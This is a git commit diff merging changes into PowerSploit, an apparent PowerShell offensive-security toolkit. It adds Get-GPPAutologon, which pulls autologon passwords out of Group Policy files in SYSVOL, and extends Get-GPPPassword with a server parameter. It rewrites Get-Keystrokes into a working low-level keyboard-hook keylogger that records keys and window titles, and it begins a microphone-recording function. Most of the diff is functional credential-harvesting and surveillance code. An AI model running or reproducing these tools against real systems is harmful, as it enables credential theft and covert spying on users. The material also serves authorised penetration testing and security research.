Merge pull request #202 from PowerShellMafia/dev

Dev
This commit is contained in:
HarmJ0y 2016-12-12 11:09:24 -08:00 committed by GitHub
commit c7985c9bc3
23 changed files with 9399 additions and 3625 deletions

View File

@ -648,7 +648,7 @@ $RemoteScriptBlock = {
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary

View File

@ -31,6 +31,7 @@ FunctionsToExport = '*'
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
'Get-MicrophoneAudio.ps1', 'Get-GPPAutologon.ps1'
}

View File

@ -0,0 +1,139 @@
function Get-GPPAutologon
{
<#
.SYNOPSIS
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
PowerSploit Function: Get-GPPAutologon
Author: Oddvar Moe (@oddvarmoe)
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
.EXAMPLE
PS C:\> Get-GPPAutolgon
UserNames File Passwords
--------- ---- ---------
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
.EXAMPLE
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
https://support.microsoft.com/nb-no/kb/324737
#>
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function to parse fields from xml files
function Get-GPPInnerFields
{
[CmdletBinding()]
Param (
$File
)
try
{
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Password = @()
$UserName = @()
#check for password and username field
if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*"))
{
$props = $xml.GetElementsByTagName("Properties")
foreach($prop in $props)
{
switch ($prop.name)
{
'DefaultPassword'
{
$Password += , $prop | Select-Object -ExpandProperty Value
}
'DefaultUsername'
{
$Username += , $prop | Select-Object -ExpandProperty Value
}
}
Write-Verbose "Potential password in $File"
}
#put [BLANK] in variables
if (!($Password))
{
$Password = '[BLANK]'
}
if (!($UserName))
{
$UserName = '[BLANK]'
}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose "The password is between {} and may be more than one value."
if ($ResultsObject)
{
Return $ResultsObject
}
}
}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential registry.xml containing autologon passwords
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}

View File

@ -12,7 +12,12 @@ function Get-GPPPassword {
.DESCRIPTION
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.PARAMETER Server
Specify the domain controller to search for.
Default's to the users current domain
.EXAMPLE
@ -42,6 +47,21 @@ function Get-GPPPassword {
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
@ -63,7 +83,11 @@ function Get-GPPPassword {
#>
[CmdletBinding()]
Param ()
Param (
[ValidateNotNullOrEmpty()]
[String]
$Server = $Env:USERDNSDOMAIN
)
#Some XML issues between versions
Set-StrictMode -Version 2
@ -206,8 +230,8 @@ function Get-GPPPassword {
}
#discover potential files containing passwords ; not complaining in case of denied access to a directory
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}

View File

@ -5,7 +5,8 @@ function Get-Keystrokes {
Logs keys pressed, time and the active window.
PowerSploit Function: Get-Keystrokes
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
Revised By: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@ -14,13 +15,13 @@ function Get-Keystrokes {
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER CollectionInterval
.PARAMETER Timeout
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.PARAMETER PollingInterval
.PARAMETER PassThru
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
.EXAMPLE
@ -28,234 +29,349 @@ function Get-Keystrokes {
.EXAMPLE
Get-Keystrokes -CollectionInterval 20
.EXAMPLE
Get-Keystrokes -PollingInterval 35
Get-Keystrokes -Timeout 20
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
https://github.com/secabstraction
#>
[CmdletBinding()] Param (
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
[String]
$LogPath = "$($Env:TEMP)\key.log",
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
[String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]
[UInt32]
$CollectionInterval,
[Double]$Timeout,
[Parameter(Position = 2)]
[Int32]
$PollingInterval = 40
[Parameter()]
[Switch]$PassThru
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
Write-Verbose "Logging keystrokes to $LogPath"
try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
catch { throw $_ }
$Initilizer = {
$LogPath = 'REPLACEME'
$Script = {
Param (
[Parameter(Position = 0)]
[String]$LogPath,
'"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
[Parameter(Position = 1)]
[Double]$Timeout
)
function KeyLog {
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
function local:Get-DelegateType {
Param (
[OutputType([Type])]
try
{
$ImportDll = [User32]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
$TypeBuilder.CreateType()
}
catch
{
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
function local:Get-ProcAddress {
Param (
[OutputType([IntPtr])]
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$FieldArray = [Reflection.FieldInfo[]] @(
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
$FieldValueArray = [Object[]] @(
'GetAsyncKeyState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
$FieldValueArray = [Object[]] @(
'GetKeyboardState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
$FieldValueArray = [Object[]] @(
'MapVirtualKey',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
$FieldValueArray = [Object[]] @(
'ToUnicode',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
$FieldValueArray = [Object[]] @(
'GetForegroundWindow',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
$ImportDll = $TypeBuilder.CreateType()
# Return the address of the function
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Milliseconds $PollingInterval
#region Imports
try
{
[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
#loop through typeable characters to see which is pressed
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
{
$VirtualKey = $TypeableChar
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
# SetWindowsHookEx
$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
#if the key is pressed
if (($KeyResult -band 0x8000) -eq 0x8000)
{
# CallNextHookEx
$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
#check for keys not mapped by virtual keyboard
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
# UnhookWindowsHookEx
$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
if ($TabKey) {$LogOutput += '[Tab]'}
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
if ($DeleteKey) {$LogOutput += '[Delete]'}
if ($EnterKey) {$LogOutput += '[Enter]'}
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
# PeekMessage
$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
#check for capslock
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
# GetAsyncKeyState
$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
$KeyboardState = New-Object Byte[] 256
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
# GetForegroundWindow
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
#create a stringbuilder object
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
# GetWindowText
$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
#convert typed characters
if ($UnicodeKey -gt 0) {
$TypedCharacter = $StringBuilder.ToString()
$LogOutput += ('['+ $TypedCharacter +']')
# GetModuleHandle
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
#endregion Imports
$CallbackScript = {
Param (
[Parameter()]
[Int32]$Code,
[Parameter()]
[IntPtr]$wParam,
[Parameter()]
[IntPtr]$lParam
)
$Keys = [Windows.Forms.Keys]
$MsgType = $wParam.ToInt32()
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
$hWindow = $GetForegroundWindow.Invoke()
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
else { $Shift = $false }
$Caps = [Console]::CapsLock
# Read virtual-key from buffer
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
# Parse virtual-key
if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
else { $Key = $vKey.ToString().ToLower() }
}
elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
switch ($vKey.value__) {
96 { $Key = '0' }
97 { $Key = '1' }
98 { $Key = '2' }
99 { $Key = '3' }
100 { $Key = '4' }
101 { $Key = '5' }
102 { $Key = '6' }
103 { $Key = '7' }
104 { $Key = '8' }
105 { $Key = '9' }
106 { $Key = "*" }
107 { $Key = "+" }
108 { $Key = "|" }
109 { $Key = "-" }
110 { $Key = "." }
111 { $Key = "/" }
}
}
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
if ($Shift) {
switch ($vKey.value__) { # Shiftable characters
48 { $Key = ')' }
49 { $Key = '!' }
50 { $Key = '@' }
51 { $Key = '#' }
52 { $Key = '$' }
53 { $Key = '%' }
54 { $Key = '^' }
55 { $Key = '&' }
56 { $Key = '*' }
57 { $Key = '(' }
186 { $Key = ':' }
187 { $Key = '+' }
188 { $Key = '<' }
189 { $Key = '_' }
190 { $Key = '>' }
191 { $Key = '?' }
192 { $Key = '~' }
219 { $Key = '{' }
220 { $Key = '|' }
221 { $Key = '}' }
222 { $Key = '<Double Quotes>' }
}
}
else {
switch ($vKey.value__) {
48 { $Key = '0' }
49 { $Key = '1' }
50 { $Key = '2' }
51 { $Key = '3' }
52 { $Key = '4' }
53 { $Key = '5' }
54 { $Key = '6' }
55 { $Key = '7' }
56 { $Key = '8' }
57 { $Key = '9' }
186 { $Key = ';' }
187 { $Key = '=' }
188 { $Key = ',' }
189 { $Key = '-' }
190 { $Key = '.' }
191 { $Key = '/' }
192 { $Key = '`' }
219 { $Key = '[' }
220 { $Key = '\' }
221 { $Key = ']' }
222 { $Key = '<Single Quote>' }
}
}
}
else {
switch ($vKey) {
$Keys::F1 { $Key = '<F1>' }
$Keys::F2 { $Key = '<F2>' }
$Keys::F3 { $Key = '<F3>' }
$Keys::F4 { $Key = '<F4>' }
$Keys::F5 { $Key = '<F5>' }
$Keys::F6 { $Key = '<F6>' }
$Keys::F7 { $Key = '<F7>' }
$Keys::F8 { $Key = '<F8>' }
$Keys::F9 { $Key = '<F9>' }
$Keys::F10 { $Key = '<F10>' }
$Keys::F11 { $Key = '<F11>' }
$Keys::F12 { $Key = '<F12>' }
$Keys::Snapshot { $Key = '<Print Screen>' }
$Keys::Scroll { $Key = '<Scroll Lock>' }
$Keys::Pause { $Key = '<Pause/Break>' }
$Keys::Insert { $Key = '<Insert>' }
$Keys::Home { $Key = '<Home>' }
$Keys::Delete { $Key = '<Delete>' }
$Keys::End { $Key = '<End>' }
$Keys::Prior { $Key = '<Page Up>' }
$Keys::Next { $Key = '<Page Down>' }
$Keys::Escape { $Key = '<Esc>' }
$Keys::NumLock { $Key = '<Num Lock>' }
$Keys::Capital { $Key = '<Caps Lock>' }
$Keys::Tab { $Key = '<Tab>' }
$Keys::Back { $Key = '<Backspace>' }
$Keys::Enter { $Key = '<Enter>' }
$Keys::Space { $Key = '< >' }
$Keys::Left { $Key = '<Left>' }
$Keys::Up { $Key = '<Up>' }
$Keys::Right { $Key = '<Right>' }
$Keys::Down { $Key = '<Down>' }
$Keys::LMenu { $Key = '<Alt>' }
$Keys::RMenu { $Key = '<Alt>' }
$Keys::LWin { $Key = '<Windows Key>' }
$Keys::RWin { $Key = '<Windows Key>' }
$Keys::LShiftKey { $Key = '<Shift>' }
$Keys::RShiftKey { $Key = '<Shift>' }
$Keys::LControlKey { $Key = '<Ctrl>' }
$Keys::RControlKey { $Key = '<Ctrl>' }
}
}
#get the title of the foreground window
$TopWindow = $ImportDll::GetForegroundWindow()
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
# Get foreground window's title
$Title = New-Object Text.Stringbuilder 256
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
#get the current DTG
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
# Define object properties
$Props = @{
Key = $Key
Time = [DateTime]::Now
Window = $Title.ToString()
}
#Create a custom object to store results
$ObjectProperties = @{'Key Typed' = $LogOutput;
'Time' = $TimeStamp;
'Window Title' = $WindowTitle}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
$obj = New-Object psobject -Property $Props
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
#return results
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
}
}
}
catch {}
}
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
}
$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
# Cast scriptblock as LowLevelKeyboardProc callback
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
$Callback = $CallbackScript -as $Delegate
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
# Get handle to PowerShell for hook
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
if ($PSBoundParameters['CollectionInterval'])
{
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
Stop-Job -Name Keylogger
Unregister-Event -SourceIdentifier ElapsedAction
$Sender.Stop()
} | Out-Null
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
while ($true) {
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
Start-Sleep -Milliseconds 10
}
$Stopwatch.Stop()
# Remove the hook
$UnhookWindowsHookEx.Invoke($Hook)
}
# Setup KeyLogger's runspace
$PowerShell = [PowerShell]::Create()
[void]$PowerShell.AddScript($Script)
[void]$PowerShell.AddArgument($LogPath)
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
# Start KeyLogger
[void]$PowerShell.BeginInvoke()
if ($PassThru.IsPresent) { return $PowerShell }
}

View File

@ -0,0 +1,187 @@
function Get-MicrophoneAudio {
<#
.SYNOPSIS
Records audio from the microphone and saves to a file on disk
Author: Justin Warner (@sixdub)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info:
http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
https://github.com/PowerShellMafia/PowerSploit
Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/
.DESCRIPTION
Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk.
.OUTPUTS
Outputs the FileInfo object pointing to the recording which has been saved to disk.
.PARAMETER Path
